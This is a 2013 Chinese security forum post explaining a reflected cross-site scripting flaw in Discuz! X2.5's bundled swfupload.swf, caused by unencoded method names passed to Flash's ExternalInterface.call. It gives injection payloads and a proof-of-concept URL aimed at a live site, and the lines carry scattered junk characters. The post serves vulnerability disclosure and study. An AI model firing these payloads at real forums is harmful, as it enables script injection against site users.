找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2121|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说$ l, G! k' S: c. }, V' _! s" {
) a8 o, t6 [3 V0 }
flash.external.ExternalInterface.call($methodName, $parameter)! @1 U; y0 g0 b
在浏览器中执行的是1 W1 N  B. U: Z% u

3 Q" a1 P$ J4 vtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
9 X  N$ m; i9 i" q, C. s/ r' W: k对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如: o- }+ u, W( w

# C. l# Y5 @4 H- A3 Pflash.external.ExternalInterface.call("object."+$methodName, $parameter)
) B0 O" P; g( ?, Z% ~% X$methodName = a())}catch(e){alert(/xss/)}//
, N, q' c7 t* x' f" A# V结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
! i9 ]7 q$ G6 Y2 c/ S5 _6 ^! b- x' Y& K* g
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }9 v/ i0 e, Z( C, ]/ r
  U3 u! N. J" L# n. h7 |& b/ H
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
% _3 d; t& F/ T. R杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
2 r% ~+ w5 g% ]' D
# e4 k* R1 J5 m' G* B6 t3 J: R7 K9 m( V

/ D, |+ m7 |: z7 g漏洞文件:upload\static\image\common\swfupload.swf
$ F- V. W6 @0 g- i
  v! P9 I$ d3 ^( E0 V5 m1 W原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf- Q2 e9 g: K- O- Y; o

+ V' m3 Z7 L& [, E+ I" `* A# t. s) |3 N2 X, ]: u" n% _! s
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//+ f% \: _! b' d  v

* @1 e, u: d8 K" @% Z( O) h) W+ }  P6 h; _- o. }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表